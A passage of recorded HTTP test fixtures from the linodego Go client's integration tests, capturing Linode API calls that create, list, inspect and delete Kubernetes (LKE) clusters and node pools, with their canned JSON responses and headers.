'{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-list","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76169, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-list", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: GET response: body: '{"data": [{"id": 76169, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-list", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "290" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76169 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKENodePoolNode_Delete.yaml000066400000000000000000000404251455402072200324470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76172, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76172/pools method: POST response: body: '{"id": 118362, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118362-63483a962f5f", "instance_id": 39523226, "status": "not_ready"}, {"id": "118362-63483a970178", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76172/nodes/118362-63483a962f5f method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76172/pools/118362 method: GET response: body: '{"id": 118362, "type": "g6-standard-2", "count": 1, "nodes": [{"id": "118362-63483a970178", "instance_id": 39523228, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "259" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76172/pools/118362 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76172 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKENodePool_GetFound.yaml000066400000000000000000000357611455402072200321610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76170, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76170/pools method: POST response: body: '{"id": 118358, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118358-63483a5f4cbe", "instance_id": null, "status": "not_ready"}, {"id": "118358-63483a601b59", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "330" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76170/pools/118358 method: GET response: body: '{"id": 118358, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "118358-63483a5f4cbe", "instance_id": 39523193, "status": "not_ready"}, {"id": "118358-63483a601b59", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/76170/pools/118358 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter 